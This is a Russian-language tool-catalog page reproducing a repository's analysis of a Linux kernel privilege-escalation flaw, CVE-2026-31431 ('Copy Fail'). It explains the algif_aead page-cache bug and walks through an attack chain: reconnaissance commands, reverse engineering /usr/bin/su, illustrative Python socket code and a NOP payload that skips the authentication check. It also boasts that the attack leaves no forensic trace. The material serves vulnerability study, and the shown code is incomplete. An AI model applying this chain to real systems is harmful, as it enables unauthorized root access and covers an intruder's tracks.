Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеРеагирование на ИнцидентыПобег из Контейнера
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431-Report-Copy-fail-Vulnerability-

Подробный анализ уязвимости Copy Fail (CVE-2026-31431) в ядре Linux, включая механизм повреждения памяти, цепочку повышения привилегий и влияние на безопасность.

Репозиторий
1275 месяцев назадЕщё не проверено

CVE-2026-31431 — Copy Fail: Повышение привилегий в ядре Linux

CVE CVSS Kernel Type Purpose

Образовательный анализ уязвимости Copy Fail в ядре Linux.
Рассматриваются механизм повреждения памяти, цепочка повышения привилегий, побег из контейнера и меры защиты.


⚠️ Отказ от ответственности

Этот репозиторий предназначен только для образовательных и исследовательских целей.
Не используйте эту информацию на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Все фрагменты кода и команды предоставлены исключительно для понимания внутреннего устройства ядра Linux.


Содержание

  • Обзор
  • Паспорт уязвимости
  • Базовые концепции
  • Как работает ошибка
  • Полная цепочка атаки
  • Почему это так опасно
  • Безопасное практическое наблюдение
  • Защита и обнаружение
  • Сравнение с похожими CVE
  • Глоссарий
  • Краткая справка

Обзор

CVE-2026-31431, также известная как Copy Fail, — это уязвимость ядра Linux, позволяющая непривилегированному локальному пользователю повысить привилегии до root без каких-либо специальных разрешений.

Атака полностью происходит в оперативной памяти. Файл на диске никогда не затрагивается — контрольные суммы файлов остаются чистыми, временные метки не меняются, а журналы аудита ничего не фиксируют. После перезагрузки системы все улики исчезают.

Обычный пользователь  →  эксплойт ошибки algif_aead  →  перезапись page cache  →  root

Ключевые свойства:

  • ✅ Нет состояния гонки — работает надёжно каждый раз
  • ✅ Диск не затрагивается — криминалистика ничего не находит
  • ✅ Требуется только стандартная локальная учётная запись
  • ✅ Позволяет совершить побег из контейнера через общий page cache

Паспорт уязвимости

ПолеЗначение
Идентификатор CVECVE-2026-31431
Общепринятое названиеCopy Fail / Повреждение page cache в algif_aead
Оценка CVSS v3.17.8 — КРИТИЧЕСКАЯ
Тип атакиЛокальное повышение привилегий (LPE)
Затронутые версии ядраLinux 5.10 – 6.8 (приблизительно)
Уязвимый компонентcrypto/algif_aead.c — сокетный интерфейс AF_ALG
Надёжность эксплуатацииВЫСОКАЯ — состояние гонки не требуется
Улики на дискеОТСУТСТВУЮТ — изменение только в RAM
Влияние на контейнерыДА — побег на хост через общий page cache
Статус исправленияДоступно (выпущен патч вышестоящего ядра)

Базовые концепции

/usr/bin/su — целевой бинарный файл

su (Switch User) позволяет пользователю переключиться на другую учётную запись — обычно root. Это SetUID-бинарный файл:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = флаг SetUID

Флаг s означает: когда любой пользователь запускает этот бинарный файл, он выполняется с правами root. Это делает его ценной целью.

Его внутренняя логика (упрощённо):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

Цель атаки: полностью пропустить проверку password_correct().


RAM и page cache

Когда Linux читает файл с диска, он сохраняет его копию в RAM, называемую page cache.

КомпонентОписание
ДискИсходный файл на диске (книжная полка)
Page CacheКопия файла в RAM (ксерокопия на вашем столе)
CPUЧитает и выполняет код из page cache — быстро
АтакующийИзменяет копию в RAM; диск остаётся нетронутым
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← это page cache

Буфер и безопасный буфер

ТипБезопасность
Безопасный буфер — выделен ядром, размер и границы контролируются✅ ОК
Page Cache — копия файла в RAM, общая, исполняемая⚠️ ОПАСНО при записи
Неверный указатель — адрес, полученный из-за ошибки, указывающий куда угодно🔴 КРИТИЧНО

AF_ALG и algif_aead

AF_ALG (Algorithm Family) — это сокетный интерфейс Linux, позволяющий программам пользовательского пространства использовать криптографические функции ядра (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // открыть крипто-сокет

algif_aead — это модуль ядра, обрабатывающий AEAD-шифрование (например, AES-GCM) через AF_ALG. Уязвимость находится в его шаге копирования данных.

AF_ALG  →  algif_aead  →  движок AES-GCM  →  выходной буфер
                                ↑
                           ЗДЕСЬ ОШИБКА

Как работает ошибка

Ошибка не в логике шифрования. Она в работе с памятью — при копировании данных выбирается неверная область памяти.

Нормальный поток (без ошибки):

destination = safe_output_buffer;       // правильное место
memcpy(destination, user_data, size);   // данные записаны безопасно

Уязвимый поток (с ошибкой):

destination = buffer + WRONG_OFFSET;    // ОШИБКА: неверный указатель!
memcpy(destination, user_data, size);   // данные попадают в page cache

Ядро должно было записать в безопасный выходной буфер. Из-за неверно рассчитанного смещения оно записывает в page cache — где хранится копия /usr/bin/su в RAM.

Что атакующий меняет в памяти

Бинарный файл содержит машинный код x86-64. Атакующий нацеливается на условный переход, вызывающий сбой аутентификации:

До атаки:

cmp  eax, 0     ; проверка возвращаемого значения
jne  0x1234     ; если ошибка → переход к отказу
call give_root  ; предоставить root

После атаки (2 байта изменены в RAM):

cmp  eax, 0     ; то же самое
90 90           ; NOP NOP ← переход заменён, проверка пропущена!
call give_root  ; CPU попадает сюда напрямую

NOP = No Operation (нет операции). CPU ничего не делает и переходит дальше — полностью пропуская проверку аутентификации.


Полная цепочка атаки

Настрой перед атакой

«Мне нужна только обычная учётная запись пользователя. Ядро само совершит ошибку.
Диск останется чистым. Никаких журналов. Работает каждый раз.»

Шаг 0 — Разведка

whoami && id
# uid=1000(user) gid=1000(user) ← обычный пользователь

uname -r
# 6.1.0-generic ← в уязвимом диапазоне

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID подтверждён

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

Шаг 1 — Загрузка файла в page cache

cat /usr/bin/su > /dev/null
# /usr/bin/su теперь загружен в page cache ✓

Шаг 2 — Обратная разработка бинарного файла

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Ищем: адрес функции аутентификации, условный переход jne/jnz и его точное байтовое смещение.

Шаг 3 — Открытие сокета AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Шаг 4 — Отправка сформированной полезной нагрузки

payload = b'\x90\x90'  # NOP NOP — заменяет условный переход
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Шаг 5 — Ядро перезаписывает page cache

Скачать инструмент